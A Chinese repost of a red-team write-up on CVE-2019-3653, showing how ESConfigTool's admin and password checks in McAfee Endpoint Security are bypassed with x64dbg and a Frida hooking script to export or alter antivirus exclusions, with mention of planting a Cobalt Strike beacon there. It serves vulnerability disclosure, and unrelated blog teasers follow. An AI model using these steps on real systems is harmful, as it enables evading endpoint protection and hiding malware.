怎样卸载迈克菲,如何禁用mcafee杀毒软件

利用Mcafee管理工具绕过McAfee杀毒软件

介绍这篇文章是关于我在一次红队活动中如何利用McAfee工具绕过McAfee Endpoint Security杀毒软件的故事。本来我没有计划写这篇文章,但当时的队友@fsdominguezand和@_dirkjan觉得此事值得被记录下来。现在,就让我们开始吧。McAfee在以往,每当我们遇到McAfee Virus Scan Enterprise(VSE)的时候,都可以通过简单地查询注册表,了解到那些位置是管理员指定的“特殊位置”(不受杀毒软件影响)。

然而,在这次任务中,事情没那么简单。因为他们使用的是McAfee Endpoint Security,从VSE时代到现在,McAfee可能认为最好不要将“特殊位置”之类的信息以明文形式存储在任何人都可阅读的文件中。

那么,我们现在该把恶意文件放在哪里?ESConfigToolMcAfee Endpoint Security杀毒软件附带一个名为ESConfigTool的程序,可用于导入和导出配置文件。它的详细用法如下。

我们发现,要从McAfee Endpoint Security得知安全设置,你需要:解锁密码管理权限很遗憾这两者我们都没有。

现在,先让我们下载一个试用版本的McAfee Endpoint Security,看看是否有入手点。

变化我们最后决定还是以ESConfigTool为目标,看看它是否有漏洞。我先创建了三个“特殊位置”:C:\Windows\Temp\*mimikatz.exeC:\TotallyLegit\

还设置了密码保护:starwars。

打开一个cmd,看看我们是否可以得到这些设置信息。

Microsoft Windows [Version 10.0.16299.15](c) 2017 Microsoft Corporation. All rights reserved.C:\Windows\system32>”C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\ESConfigTool.exe” /export C:\Export.xml /module TP /unlock starwars /plaintextCommand executed successfully. Please refer to Endpoint Security logs for detailsC:\Windows\system32>让我们打开xml文件,看看是否有敏感信息:

C:\Windows\Temp\031110**\*mimikatz.exe030110C:\TotallyLegit\031110是的,在拥有管理员权限以及输入了正确密码的情况下,你可以得到安全设置。让我们通过x64dbg软件,看一下它的整体流程。Self-defense通常使用调试软件打开二进制文件是很简单的,但由于我们面对的是安全软件,所以有一些额外的障碍。一个重要的原因是,McAfee的大部分组件都有“自卫”功能。如果你尝试使用调试软件,将立即得到一个Debugging stopped消息,McAfee对这种可疑行为极为敏感。

 

12/10/2019 12:47:09 mfeesp(2204.6392) ApBl.SP.Activity: DESKTOP-DNUK2R5\admin ran X64DBG.EXE, which attempted to access ESCONFIGTOOL.EXE, violating the rule “Core Protection – Protect McAfee processes from unauthorized access and termination”, and was blocked. For information about how to respond to this event, see KB85494.12/10/2019 12:47:09 mfeesp(2204.5404) ApBl.SP.Activity: DESKTOP-DNUK2R5\admin ran X64DBG.EXE, which attempted to access ESCONFIGTOOL.EXE, violating the rule “Core Protection – Protect McAfee processes from unauthorized access and termination”, and was blocked. For information about how to respond to this event, see KB85494.看来我们首先需要绕过这种自我防御机制。

Microsoft Windows [Version 10.0.16299.15](c) 2017 Microsoft Corporation. All rights reserved.C:\Users\admin>mkdir \tempC:\Users\admin>cd \tempC:\temp>copy “C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\ESConfigTool.exe” . 1 file(s) copied.C:\temp>copy “C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\blframework.dll” . 1 file(s) copied.C:\temp>copy “C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\EpSecApiLib.dll” . 1 file(s) copied.C:\temp>copy “C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\McVariantExport.dll” . 1 file(s) copied.C:\temp>copy “C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\LogLib.dll” . 1 file(s) copied.C:\temp>没错,只要像如上所述疯狂复制文件,你就可以绕过自我防御,对软件进行调试。现在,让我们开始调试吧

绕过密码检查先让我们看看当使用错误的密码时会发生什么,也许会有一些字符提示:

C:\Windows\system32>”C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\ESConfigTool.exe” /export C:\Export.xml /module TP /unlock startrek /plaintextThere were some errors while executing command. Please refer to Endpoint Security logs for detailsC:\Windows\system32>嗯,没什么特别的。不过McAfee的日志文件提供了更多信息:

10/12/2019 01:11:46.400 PM ESConfigTool(5476.8840) ESConfigTool.ESConfigTool.Error (ImportExportUtil.cpp:677): Failed to unlock client settings with user supplied password, TriggerAction failed让我们在调试器中搜索特定字符串,看看能否找到这个错误的来源。

 

现在我们把这个位置设为断点,再运行一次,看看在断点之前发生了什么。我们可以看到一个函数调用了一个名为BLInvokeMethod的东西,后面还跟着一个没有执行的跳转:

 

此时,我们有两个选择:进入密码检查函数,看看它是如何工作的,并尝试破解密码。直接更改检查函数的返回值。因为我很懒,我所以选择了第2项。当输入错误的密码时,密码检查函数会将错误代码放入RAX寄存器:

如果提供了正确的密码,则RAX寄存器的值为0

那么,如果我们提供了错误的密码,将密码检查函数中断,并将RAX寄存器的值改为0,会发生什么情况呢?

成功导出设置!

看来密码检查只是由工具本身完成的,不牵涉其他组件,也不需要解密。绕过管理员权限在没有管理员权限的情况下,ESConfigTool工具能使用的功能是非常有限的:

Microsoft Windows [Version 10.0.16299.15](c) 2017 Microsoft Corporation. All rights reserved.C:\Users\user>”C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\ESConfigTool.exe” /export C:\temp\Export.xml /module TP /unlock starwars /plaintextDescription: Endpoint security configuration tool for exporting and importing policy configuration. User needs administrator privileges to run this utility. Utility needs password if the client interface is password protected. File supplied for import must be an encrypted file.USAGE: ESConfigTool.exe /export [/module <TP|FW|WC|ESP> ] [/unlock ] [/plaintext ] ESConfigTool.exe /import [/module <TP|FW|WC|ESP> ] [/unlock ] [/policyname ] ESConfigTool.exe /helpC:\Users\user>我们怎样才能知道权限检查的流程呢?先让我们以普通用户的身份运行调试器,看看会发生什么。发现它调用一个函数,并对返回值进行字符串比较,如果返回代码不是0,则调用“exit”。

如果追踪这个函数,会发现它将最终调用AllocateAndInitializeSid。不过这些都不值得花时间去逆向。让我们再次尝试偷懒的方法更改函数返回值。

返回值检查如下:

这一次返回值必须是0以外的任何值。

OK,又成功了!

我们现在可以从McAfee Endpoint Security导出安全设置,不需要管理权限,不需要知道正确的密码!自动运行到目前为止,一切都很顺利,但是每次使用调试器更改返回值是一件痛苦的事情。不过幸运的是,存在Frida这么一个有趣的东西,它可以帮你做所有很酷的事情,比如hook函数或改变其返回值,你不需要任何额外的技能,除了javascript!

那么我们如何将Frida注入到McAfee呢?很简单,frida-server。只需在运行McAfee的机器上启动它,然后使用Python进行连接。McAfee机器:Microsoft Windows [Version 10.0.16299.15](c) 2017 Microsoft Corporation. All rights reserved.C:\Users\admin>cd \tempC:\temp>frida-server-12.7.9-windows-x86_64.exePython机器:Python 3.6.7 (default, Oct 22 2018, 11:32:17) [GCC 8.2.0] on linuxType “help”, “copyright”, “credits” or “license” for more information.>>> import frida>>> devmgr = frida.get_device_manager()>>> devmgr.add_remote_device(‘192.168.31.150′)Device(id=”tcp@192.168.31.150″, name=”192.168.31.150″, type=’remote’)>>> rdev = frida.get_device(‘tcp@192.168.31.150’)>>> args = [… ‘ESConfigTool.exe’,… ‘/export’,… ‘frida-export.xml’,… ‘/module’,… ‘ESP’,… ‘/unlock’,… ‘startrek’,… ‘/plaintext’… ]>>> pid = rdev.spawn(args)>>> session = rdev.attach(pid)>>> sessionSession(pid=11168)现在我们已经连接上,ESConfigTool.exe也正在运行!

现在我们可以将JS代码注入到ESConfigTool进程中。Frida脚本我不会详细介绍这个脚本的功能,其完整代码如下:

const configbase = Module.findbaseAddress(‘ESConfigTool.exe’);//const adminCheck = configbase.add(0x5240); //32const adminCheck = configbase.add(0x5f30); //64const BLInvokeMethod = Module.findExportByName(‘blframework.dll’,’BLInvokeMethod’)console.log(‘[-] base address is:’,configbase);console.log(‘[-] Admin check is:’,adminCheck);console.log(‘[-] BLInvokeMethod:’,BLInvokeMethod);Interceptor.attach(adminCheck, { onEnter: function (args) { console.log(‘[+] Hooked admin check function’); }, onLeave: function (retval) { console.log(‘[+] Returning true for admin check’); retval.replace(1); }});Interceptor.attach(BLInvokeMethod, { onEnter: function (args) { console.log(‘[+] Hooked BLInvokeMethod function’); }, onLeave: function (retval) { console.log(‘[+] Patching password check function’); retval.replace(0x0); }});这个脚本执行的正是我们在调试器中手动执行的操作,更改返回值。让我们注入脚本,看看它是否有效:

>>> script = “””… const configbase = Module.findbaseAddress(‘ESConfigTool.exe’);… //const adminCheck = configbase.add(0x5240); //32… const adminCheck = configbase.add(0x5f30); //64… const BLInvokeMethod = Module.findExportByName(‘blframework.dll’,’BLInvokeMethod’)… … console.log(‘[-] base address is:’,configbase);… console.log(‘[-] Admin check is:’,adminCheck);… console.log(‘[-] BLInvokeMethod:’,BLInvokeMethod);… … Interceptor.attach(adminCheck, {… onEnter: function (args) {… console.log(‘[+] Hooked admin check function’);… },… onLeave: function (retval) {… console.log(‘[+] Returning true for admin check’);… retval.replace(1);… }… });… … Interceptor.attach(BLInvokeMethod, {… onEnter: function (args) {… console.log(‘[+] Hooked BLInvokeMethod function’);… },… onLeave: function (retval) {… console.log(‘[+] Patching password check function’);… retval.replace(0x0);… }… });… … “””>>> session.create_script(script).load()[-] base address is: 0x7ff73ed30000[-] Admin check is: 0x7ff73ed35f30[-] BLInvokeMethod: 0x7ffa4d759730>>> rdev.resume(pid)>>> [+] Hooked admin check function[+] Returning true for admin check[+] Hooked BLInvokeMethod function[+] Patching password check function>>>最终结果如下:

虽然我是作为“admin”用户运行的,但是没有涉及UAC。相信我,这套方法也适用于普通用户。后续现在,我们就可以把一个Cobalt Strike beacon放入那些“特殊位置”。尽管在本文中只讨论了设置信息导出,但你也可以导入配置文件,添加“特殊位置”,更改其他设置,甚至完全删除密码。

值得一提的是,其实这个配置文件加密与否并不重要,因为你可以把它导入自己的McAfee软件进行查看。

McAfee在确认了漏洞后,发布了一个安全建议和相关的修复程序,漏洞被标记为CVE-2019-3653。

如果你想了解更多,可以在这里找到PoC脚本。

本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场

来源:https://dmaasland.github.io/posts/mcafee.html

原文:https://www.loosebyte.com/google-cloud-vulnerability/

白帽汇从事信息安全,专注于安全大数据、企业威胁情报。

公司产品:FOFA-网络空间安全搜索引擎、FOEYE-网络空间检索系统、NOSEC-安全讯息平台。

为您提供:网络空间测绘、企业资产收集、企业威胁情报、应急响应服务。

本文来自投稿,不代表展天博客立场,如若转载,请注明出处:https://www.me900.com/326069.html

(0)

相关推荐

  • lol扎克出装,LOL扎克出装攻略:最佳选择

    英雄联盟S8猪妹扎克最强打野符文与出装推荐,后期让你肉成一匹马! 在经历多个版本的改动后,特别是在符文重铸之后,草食性打野在胜率排行榜上一直位于比较靠后的位置,而本身草食性打野的自身发育能力上并不比那些现版本强势的肉食打野弱,而在新赛季的改动中,坚决系作为副系和主系的属性加成被拆分,这也就是说,坦克草食打野英雄在符文选择上不一定非要选择主系为坚决,当然选择主…

    投稿 2023-05-21
  • 打开控制面板的快捷方式(打开控制面板的快捷方式键盘)

    建筑和设计行业日常办公利用CAD打开图纸文件属于最基本的操作,不过每一个人的习惯不同,打开方式也就不一样,采用的方法也就不相同,于是小编我这里简单地将CAD打开文件的各种方法汇总一起,方法超齐全,用户们可以按照如下方法进行尝试,希望能够帮助到大家。 如何简单打开cad图: 这里用【彩虹办公】和【风云CAD编辑器】演示CAD快速打开图纸的几种方法,详细步骤在以…

    2023-05-31
  • 死链接是什么(网站死链接检测)

    概述 平时在各种网站论坛下载一些从未用过的软件,对其安全性未知或不确定时,可以将相关文件上传到以上几个病毒扫描网站进行分析,检查一下软件是否有恶意行为,通过多个网站,多种病毒扫描引擎分析,可以为你提供一些参考,辅助你对未知软件安全性,做出进一步了解和判断。 解决方案VirScan VirScan是一个基于多引擎的文件检测平台,也是国内最早做文件在线检测的平台…

    2023-01-31
  • 支付宝无法登陆怎么办(支付宝账号不能登录了)

    8月14日午间,有网友反映支付宝崩了,随后又恢复了正常。 但毕竟是很多人离不开的支付软件,此次支付宝宕机话题很快引起大量关注并登上热搜。 “支付宝崩了”上热搜 网友:七夕红包发的太多? 14日恰恰也是中国传统民俗节日“七夕节”,不少网友猜测是七夕红包发的太多?转崩溃了? 网友的猜测也有一定根据,支付宝在今天确实有“付款立减13.14元”的红包活动。 顺着这个…

    2021-11-15
  • 广是什么结构的字体(广是什么结构的字体部首)

      1、广(guǎng),3画,单一结构,部首:广 组词:广场(guǎng chǎng) | 宽广(kuān guǎng) | 广播(guǎng bō) | 广阔(guǎng kuò) | 广大(guǎng dà) | 推广(tuī guǎng) | 2、床(chuáng),7画,左上包围结构,部首:广 组词:河床(hé chuáng) | 床铺(…

    2022-05-11
  • 装修app推广接单,装修APP推广接单平台推荐

    互联网推广、手机app推广已经成为装修公司改变营销方式的的必要手段。在未来,所有的装饰公司必须使用互联网作为工具,如何做在线营销已经成为你的装修老板面前的一个问题。许多公司在互联网上竞标、在手机app寻找接单平台。 那么装修公司接单渠道有哪些?有什么装修接单app推荐的?我认为有以下几款可供参考。   一、装修接单宝app 装修接单宝app平台,装…

    2022-04-19
  • 智能升窗器21日产逍客,21款逍客一键升窗怎么用

    8月11日,东风日产逍客逍·夜版正式上市,售价为17.18万元,同时还推出购置税全免+限时送全险的福利。新车基于逍客打造,将载有11城宵夜路书,同时,全车外观进行了黑化处理,并对配置有相关调整升级。 逍客指导售价车型售价(万元)逍·夜版17.18 逍客逍·夜版由原2.0L XV Prem.豪华版升级而来。新车将配备全新黑化的中网、门把手、外后视镜、尾标、18…

    2023-07-05 投稿
  • 马伊琍文章女儿多大了?文章马伊琍有几个女儿

      作者/娱酱酱 文君竹是文章和马伊琍的大女儿,小名文爱马,喻意文章爱马伊琍。但这个饱含父母爱情的名字,随着父亲文章与姚笛的婚外情曝光,父母婚姻的解体,显得尤为讽刺。 父母婚姻风雨飘摇时,小爱马并不完全知晓内情。小小的她眼中,只看到父亲文章回家一副卑微讨好的样子,而母亲马伊琍的情绪一点就着。 父母官宣离婚时,文君竹已11岁。她哭喊着说:“我的家怎么…

    2022-04-29 投稿
  • 恐龙有多少种类(恐龙名字大全1000多种)

    提到恐龙大家肯定都不陌生, 但是要说它们都叫啥, 那你肯定就懵了! 今天就做个恐龙小图册, 给大家梳理一遍! #恐龙##霸王龙##迅猛龙##翼龙##三角龙#

    2022-05-07 投稿
  • 欠钱不还怎么办最有效的方法微信记录能告么

    这种情况想必很多人都曾遇到过,找不到人又联系不上,就没办法当面讨要欠款,应该怎么办呢?   高瞻法务提醒:遇到上述情况,按这个步骤做!   步骤一   如果对方不露脸、玩失踪、电话关机、短信不回复、微信拉黑等,搜集和保留好真实的证据如借款借条、欠款凭据、还款协议等,赶紧准备向法院起诉吧   为什么说赶紧呢?因为诉讼是有…

    2022-04-20 投稿
  • 网络托管(网络托管服务的目的是什么)

    互联网技术的发展促使了企业向数字化转型,同时,数字业务的开展产生了大量的数据请求,就会出现访问速度变慢、业务平台无法进行加载等难题。为了业务的正常开展,企业通常会增加服务器的数量,但随着数据的增多,服务器的更新迭代,常常出现数据管理复杂、资源丢失等问题,此时,服务器托管就成为了更有利的处理方案。   什么是服务器托管? 面对服务器的资源拥挤导致的访…

    2022-01-27 投稿
  • 2018年淘宝双十一一天成交额(双11销售额最新数据)

    观察者网讯(文/卢思叶 胡毓靖 编辑/庄怡)零点到来,又一年双11消费狂欢落幕,电商平台也准点交出消费答卷。11月12日零点,天猫双11总交易额定格在5403亿元,实现稳健增长,去年这一数据为4982亿元。 截至11月11日23:59,京东11.11累计下单金额超3491亿元,创造了新的纪录,去年这一数据为2715亿元。 从10月21日第一轮双11预售开始,…

    2021-11-12